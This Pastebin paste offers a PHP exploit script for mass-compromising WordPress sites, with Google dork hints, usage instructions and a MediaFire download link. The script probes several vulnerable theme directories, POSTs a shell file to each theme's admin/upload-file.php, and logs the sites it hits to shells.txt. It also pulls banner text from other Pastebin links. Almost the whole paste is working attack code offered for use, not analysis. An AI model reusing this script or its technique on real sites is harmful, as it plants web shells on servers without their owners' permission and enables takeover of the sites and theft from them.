Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- inurl:
- /wp-content/themes/charity/',
- /wp-content/themes/simpleCart/',
- /wp-content/themes/micro/',
- /wp-content/themes/evo/',
- /wp-content/themes/gallery/
- php exploit.php www. site .com
- http://www.mediafire.com/download/276wvhsl75oahp7/wordpress_shell_upload1.php
- Code strat buttom
- <?php
- //Coded By Aliens HAck hackers
- $target = $argv[1];
- if (!preg_match("~^(?:f|ht)tps?://~i", $target)) {
- $target = "http://" . $target;
- }
- $uploadfile="yourfile.php";
- $domain = explode("/", $target);
- $server_addr = gethostbyname($domain[2]);
- $list = array('/wp-content/themes/holding_pattern/',
- '/wp-content/themes/charity/',
- '/wp-content/themes/simpleCart/',
- '/wp-content/themes/micro/',
- '/wp-content/themes/evo/',
- '/wp-content/themes/gallery/');
- foreach($list as $dir){
- $headers = get_headers($target.$dir);
- if($headers[0] == 'HTTP/1.1 200 OK') {
- echo "[+]Found $dir: ";
- $tek = $target.$dir."/admin/upload-file.php";
- $ch = curl_init($tek);
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_VERBOSE, false);
- curl_setopt($ch, CURLOPT_POSTFIELDS,array(md5($server_addr)=>"@$uploadfile",'upload_path'=>base64_encode('.')));
- curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
- $postResult = curl_exec($ch);
- curl_close($ch);
- //print $postResult;
- if(preg_match("/success/",$postResult)) {
- echo "Success\n[+] Shell Uploaded".$target.$dir."/admin/upload.php";
- $f = fopen("shells.txt","a+");
- fwrite($f , "$target$dir"."/admin/upload.php\n");
- fclose($f);
- }else{
- echo "No exploit\n";
- }
- $aliens = @file_get_contents("http://pastebin.com/raw.php?i=UxnKEbz9");
- echo "Coder by $aliens \n";
- echo "FAcebook - fb/aliens.hackers \n";
- $y = @file_get_contents("http://pastebin.com/raw.php?i=N9Pzqenb");
- echo "$y \n";
- $year = @file_get_contents("http://pastebin.com/raw.php?i=hqz737nS");
- echo "$year \n";
- }
Add Comment
Please, Sign In to add comment